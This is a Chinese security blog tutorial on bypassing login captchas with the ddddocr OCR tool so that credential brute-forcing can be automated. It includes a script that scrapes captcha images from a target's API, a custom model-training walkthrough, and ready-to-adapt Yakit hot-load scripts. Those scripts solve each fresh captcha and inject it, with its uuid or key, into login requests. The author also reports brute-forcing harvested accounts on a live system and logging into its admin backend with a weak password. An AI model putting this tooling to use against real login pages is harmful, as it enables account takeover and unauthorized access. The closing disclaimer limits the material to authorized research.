文章总结: 本文介绍利用ddddocr工具自动化识别验证码以绕过登录防护的方法。文章涵盖默认模型使用、针对复杂验证码的模型训练流程,以及结合Burp插件和Yakit热加载实现自动化爆破的实战技巧,有效应对包含验证码及动态参数校验的登录场景。
综合评分: 90
文章分类: 渗透测试,实战经验,WEB安全,安全工具
从传统登录防护到自动化识别实战
原创
zkaq-newugly
掌控安全EDU
2026年1月4日 12:09
江西
前言
在日常渗透测试过程中,登录框几乎是绕不开的核心入口。无论是 Web 应用、管理后台,还是各类业务系统,认证逻辑的安全性往往直接决定了系统整体的防护水平。实际测试中可以发现,登录模块的防护形态虽然看似多样,但归纳下来,无非集中在几种典型场景。
第一类场景是既不存在验证码,也没有登录失败次数限制。在这种情况下,系统几乎不具备任何有效的防护能力,攻击者可以直接对账号和密码进行自动化爆破,风险最为直观。
第二类场景是不存在验证码,但存在登录失败次数锁定机制。表面上看,这类系统具备一定防护能力,但在实际测试中,如果攻击者掌握了高质量的账号字典,仍然可以通过密码喷洒等方式进行尝试,往往会获得意想不到的收获。
第三类场景是引入了验证码,但未对登录失败次数进行限制,且验证码存在复用问题。这类设计在现实系统中并不少见,攻击者可以通过拦截并复用验证码相关的数据包,从而实现自动化爆破,验证码形同虚设。
而最后一类,也是防护看似最为“完善”的场景:验证码无法直接绕过,且系统未设置明确的登录次数限制。这类系统通常被认为具备较高安全性,但随着 AI 图像识别技术的发展,这种认知正在被逐步打破。通过引入自动化验证码识别技术,例如基于现成 OCR 工具或自行训练专属模型,验证码本身也不再是不可逾越的障碍。
什么是 ddddocr?
ddddocr 是一款基于深度学习的轻量级 OCR 工具,主要用于图片验证码的自动化识别。
它内置训练好的识别模型,使用者无需自行训练,即可对常见的数字、字母类验证码进行快速识别。
初识 ddddocr
pip install ddddocr
通过创建 py 文件
# example.py
import ddddocr
ocr = ddddocr.DdddOcr()
image = open("15.jpg", "rb").read()
result = ocr.classification(image)
print(result)
将下载好的验证码图片放入脚本目录,通过 Python 运行即可完成识别。
在实际测试中可以发现,对于非扭曲、干扰较少的验证码,识别成功率非常高。
通过测试可以发现,ddddocr 自带的模型库在以下场景中效果有限:
- 强扭曲字体验证码
- 算术型验证码(如若依框架)
- 字体变化频繁、背景复杂的验证码
以若依系统为例,其验证码采用了扭曲的算术图片,默认模型识别成功率较低。
训练专属 ddddocr 模型
遇到特殊验证码,我们可以针对系统验证码做指定的模型训练
第一步
下载项目到本地
git clone https://github.com/sml2h3/dddd_trainer.git
第二步
安装依赖
pip install -r requirements.txt -i https://pypi.douban.com/simple
第三步
创建新的项目
python app.py create {project_name}
第四步
准备数据,我们需要大量的数据集来训练我们的模型,针对不同系统的验证码可以指定不同的数据集来训练
根据我实测将你的数据集命名为:验证码结果 _ 随机 hash 值.jpg
将它放到一个文件夹下面,除法可以使用 z 代替,乘法使用 x 代替,到后面我们可以在 py 文件中定义来达到算数将结果导出
大部分数据集需要购买例如若依,但是我们可以通过编写脚本来获取大量的验证码图片
已知它是通过/prod-api/captchaImage 接口来获取验证码图片
编写专属若依系统自动下载验证码+修改图片文件名代码(其他系统可能也可以,只要获取图片不复杂)
# -*- coding: utf-8 -*-
import requests
import base64
import os
import time
import uuid
import hashlib
import re
IMAGE_EXTS = (".jpg", ".jpeg", ".png", ".bmp", ".webp")
def extract_number(filename):
m = re.search(r'\d+', filename)
return int(m.group()) if m else 0
def download_captcha():
print("=" * 50)
print(" 第一步:下载验证码 ")
print("=" * 50)
base_url = input("请输入系统地址(如 https://example.com):").strip()
api_path = input("请输入验证码接口路径(如 /prod-api/captchaImage):").strip()
total = int(input("请输入需要下载的验证码数量:").strip())
save_dir = input("请输入验证码保存目录:").strip('"')
headers = {
"User-Agent": "Mozilla/5.0",
"Accept": "application/json"
}
if not os.path.exists(save_dir):
os.makedirs(save_dir)
print(f"\n[+] 验证码将保存到:{save_dir}")
print("[+] 开始下载...\n")
for i in range(1, total + 1):
try:
url = base_url.rstrip("/") + api_path
resp = requests.get(url, headers=headers, timeout=10)
resp.raise_for_status()
data = resp.json()
img_base64 = data.get("img")
if not img_base64:
print(f"[!] 第 {i} 次未获取到 img")
continue
img_bytes = base64.b64decode(img_base64)
file_path = os.path.join(save_dir, f"{i}.jpg")
with open(file_path, "wb") as f:
f.write(img_bytes)
print(f"[+] 保存 {i}.jpg")
time.sleep(0.2)
except Exception as e:
print(f"[!] 第 {i} 次失败:{e}")
print("\n 验证码下载完成\n")
return save_dir
def rename_images(save_dir):
print("=" * 50)
print(" 第二步:根据 txt 重命名 ")
print("=" * 50)
txt_path = input("请输入 txt 文件路径(一行对应一张图):").strip('"')
if not os.path.isfile(txt_path):
print("错误!! txt 文件不存在")
input("按回车退出")
return
with open(txt_path, "r", encoding="utf-8") as f:
txt_lines = [line.strip() for line in f if line.strip()]
images = [
img for img in os.listdir(save_dir)
if img.lower().endswith(IMAGE_EXTS)
]
images.sort(key=extract_number)
if len(txt_lines) != len(images):
print("错误!! 数量不匹配")
print("txt 行数:", len(txt_lines))
print("图片数量:", len(images))
input("按回车退出")
return
print("\n[+] 开始重命名...\n")
for i, img in enumerate(images):
name = txt_lines[i]
h = hashlib.md5(uuid.uuid4().hex.encode()).hexdigest()[:8]
ext = os.path.splitext(img)[1]
old_path = os.path.join(save_dir, img)
new_name = f"{name}_{h}{ext}"
new_path = os.path.join(save_dir, new_name)
os.rename(old_path, new_path)
print(f"{img} -> {new_name}")
print("\n 重命名完成")
input("按回车退出")
if __name__ == "__main__":
img_dir = download_captcha()
rename_images(img_dir)
输入要下载验证码的系统的地址,再输入获取验证码的接口,输入要下载的数量,输入验证码要保存的目录,它会自动下载
然后这一步就很鸡肋了,需要自己手打正确的验证码,要求一行一个验证码,行数和图片的命名一致
再输入 txt 的地址输入,它会自动将验证码重命名
第五步
缓存数据
python app.py cache {project_name} ./images/
第六步
开始训练
python app.py train {project_name}
如果出现这样的报错要去修改 \projects\ruoyi2\config.yaml,将 GPU 改为 false,让他用 cpu去训练
正常训练
第七步
训练好的模型会被放在\projects\ruoyi2\models(onnx文件和charsets.json)
由于我这里数据集太少了,最少要几千张去训练,只有训练好才会产生onnx文件和charsets.json
目前数据集还在收集
如果训练成功可以用自己训练好的 ddddocr 模型去识别验证码
import ddddocr
# 验证码图片路径
test_pic_path = r'./test/1.png'
# 初始化 OCR(加载自训练模型)
ocr = ddddocr.DdddOcr(
charsets_path=r'./model/charsets.json',
import_onnx_path=r'./model/captcha.onnx',
show_ad=False
)
# 读取图片
with open(test_pic_path, 'rb') as f:
image_bytes = f.read()
# 识别验证码
text = ocr.classification(image_bytes)
print("识别内容:", text)
expr = text.replace('x', '*').replace('z', '/')
try:
result = int(eval(expr))
print("算术结果:", result)
except Exception as e:
print("算术计算失败")
实战应用
burpsuite
现在目前已有造好的轮子,可以直接拿来用,但是如果遇到特殊的验证码还是需要自己训练
http://github.com/c0ny1/captcha-killer
运行 codereg.py
codereg.py 中写了针对不同验证的接口,可通过该接口获取验证码的 base64 去根据 ddddocr 模型去识别验证码
关于 burpsuite 的插件网上有很多我就不多说了
这种适用于只对验证码校验的系统,但是大部分系统是校验两个参数,例如若依
它是通过 uuid 和 code 验证码参数来校验的
而这两个参数可以通过/prod-api/captchaImage 这个接口获取到
这样子就无法使用 burp 插件来进行爆破, 它没有识别另一个参数的功能,但是我们可以使用 yakit 的热加载功能去实现
这里我已经写好了代码
它先通过/prod-api/captchaImage 接口去获取验证码,然后提取响应包 json 中的 uuid 和 img 参数, img 参数内容交给本地使用 codereg.py 启动的接口去识别验证码,再将提取的 uuid 和识别成功的验证码结果替换掉请求包中的参数内容
// ======================= 验证码接口 =======================
packet1 = `
GET /prod-api/captchaImage HTTP/1.1
Host: xxxxxxxx
Accept: application/json
isToken: false
`
// ======================= OCR 接口(只接收 base64) =======================
packet2 = `
POST /reg2 HTTP/1.1
Host: 127.0.0.1:8888
Authorization: Basic f0ngauth
Content-Type: text/plain
Connection: close
`
// ======================= beforeRequest =======================
// beforeRequest 允许在发送数据包前进行一次处理
// 定义为 func(origin []byte) []byte
beforeRequest = func(req){
// 1. 从原始请求中提取 Cookie
cookie = poc.GetHTTPPacketHeader(req, "Cookie")
// 2. 携带 Cookie 请求验证码接口
rsp1, req1 = poc.HTTP(packet1, poc.replaceHeader('Cookie', Cookie))~
// 解析验证码接口返回
rawBody = poc.GetHTTPPacketBody(rsp1)
respJson = json.loads(rawBody)
image = respJson["img"]
uuid1 = respJson["uuid"]
// 3. 将验证码图片发送给 OCR 识别
rsp2, req2 = poc.HTTP(packet2, poc.replaceBody(image,false))~
captcha = poc.GetHTTPPacketBody(rsp2)
// 4. 回填验证码与 uuid 到原始请求
reqStr = string(req)
reqStr = str.ReplaceAll(reqStr, "__captcha__", string(captcha))
reqStr = str.ReplaceAll(reqStr, "__uuid__", string(uuid1))
return []byte(reqStr)
}
虽然若依使用的的扭曲的验证码算数图片,但是可以看到还是有可以识别出来的,只是成功率很低,如果自己可以训练好,可以直接拿来用
实战案例 一(验证+随机参数校验)
废话不多说,直接上实战,开局一个框
它的验证码是不可以复用的
它是通过/api/v1/captcha 接口来获取验证码 base64 图片,且有两个校验参数一个是验证码,一个是 key 值
它和若依系统有一点区别若依只需识别响应包中 json 中的 img 参数的值就可以,但是这个系统的 base64 值在 json 中的 body 的 data 的 image 参数,而且它还有多余的data:image/png;base64,要把这段去掉,并且也要识别 key 值
根据特定系统编写特定代码
获取 json 中的 body 的 data 的 image 参数,把去掉前 22 个字符
key 值还是使用 uuid,我就不改了
// ======================= 验证码接口 =======================
packet1 = `
POST /api/v1/captcha HTTP/1.1
Host: xxxxxx
Accept: application/json
isToken: false
`
// ======================= OCR 接口(只接收 base64) =======================
packet2 = `
POST /reg06 HTTP/1.1
Host: 127.0.0.1:8888
Authorization: Basic f0ngauth
Content-Type: text/plain
Connection: close
`
// ======================= beforeRequest =======================
// beforeRequest 允许在发送数据包前进行一次处理
// 定义为 func(origin []byte) []byte
beforeRequest = func(req) {
// 1. 从原始请求中提取 Cookie
cookie = poc.GetHTTPPacketHeader(req, "Cookie")
// 2. 携带 Cookie 请求验证码接口
rsp1, req1 = poc.HTTP(packet1, poc.replaceHeader('Cookie', cookie))~
// 解析验证码接口返回
rawBody = poc.GetHTTPPacketBody(rsp1)
respJson = json.loads(rawBody)
// 适配新接口
image = respJson["body"]["data"]["image"]
uuid1 = respJson["body"]["data"]["key"]
//截去前22个字符
imageBase64 = image[22:]
// 3. 将验证码图片发送给 OCR 识别
rsp2, req2 = poc.HTTP(packet2, poc.replaceBody(imageBase64, false))~
captcha = poc.GetHTTPPacketBody(rsp2)
// 4. 回填验证码与 uuid 到原始请求
reqStr = string(req)
reqStr = str.ReplaceAll(reqStr, "__captcha__", string(captcha))
reqStr = str.ReplaceAll(reqStr, "__uuid__", string(uuid1))
return []byte(reqStr)
}
把它放在 yakit 的热加载中
可以看到可以成功识别验证码,且成功率很高,可以直接爆破账号密码
这个系统与若依不同,它的验证码比若依好识别,默认的模型库完全可以支持
针对不同的系统需要修改热加载代码来达到自动识别验证码且可以爆破账号密码的功能,但是代码都大差不差,json 格式不一样就多加个正则表达式,就是将 base64 图片格式提取出来交给 py 脚本去识别就可以了
实战案例 二(只对验证码校验)
只对验证码进行校验代码奉上(用这个就可以不用 burp 插件因为 burp 有很多情况没有 yakit 快)
// ======================= 验证码接口 =======================
packet1 = `
GET /tools-api/getCaptcha HTTP/1.1
Host: xxxxxxx
`
// ======================= OCR 接口(只接收 base64) =======================
packet2 = `
POST /reg06 HTTP/1.1
Host: 127.0.0.1:8888
Authorization: Basic f0ngauth
Content-Type: text/plain
Connection: close
`
// ======================= beforeRequest =======================
// beforeRequest 允许在发送数据包前进行一次处理
// 定义为 func(origin []byte) []byte
beforeRequest = func(req) {
// 1. 从原始请求中提取 Cookie
cookie = poc.GetHTTPPacketHeader(req, "Cookie")
// 2. 携带 Cookie 请求验证码接口
rsp1, req1 = poc.HTTP(packet1, poc.replaceHeader('Cookie', cookie))~
// 解析验证码接口返回
imgBytes = poc.GetHTTPPacketBody(rsp1)
imgBytes = codec.EncodeBase64(imgBytes)
// 3. 将验证码图片发送给 OCR 识别
rsp2, req2 = poc.HTTP(packet2, poc.replaceBody(imgBytes, false))~
captcha = poc.GetHTTPPacketBody(rsp2)
// 4. 回填验证码与 uuid 到原始请求
reqStr = string(req)
reqStr = str.ReplaceAll(reqStr, "__captcha__", string(captcha))
return []byte(reqStr)
}
把它放到 yakit 热加载中
该系统验证码不可复用,用我这个热加载+codereg.py 刚刚就成功识别并且 跑出来了账号密码
可以看见验证码被成功识别响应大小为 66
我这里是通过未授权接口已经拿到了账号,通过拿到的一堆账号去跑密码,成功跑到一个弱口令并且成功登录后台,成功的响应大小为 49
总结
1.针对不是扭曲的图片验证码识别成功率很高,完全可以达到爆破账号密码的功能
2.针对若依系统这种扭曲的验证码不好识别的验证码,需要进一步训练模型来提高识别成功率
3.只对验证码进行校验的登录可以使用 burp 插件更使用一些,可以直接爆破账号密码
4.对两个参数进行校验,例如验证码 +uuid、验证码+key,需要通过 yakit 热加载进行爆破
5.对于获取验证码接口为 https 协议的,要在热加载代码中把:443 端口加进去,不然会无法获取到验证码
6.识别成功率很高但不是百分之百,所以可以多跑几遍,确保账号对应的密码都被爆破到,或者可以自己加一个循环,识别到验证码错误让它再换一个验证码去爆破
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:掌控安全EDU zkaq-newugly《从传统登录防护到自动化识别实战》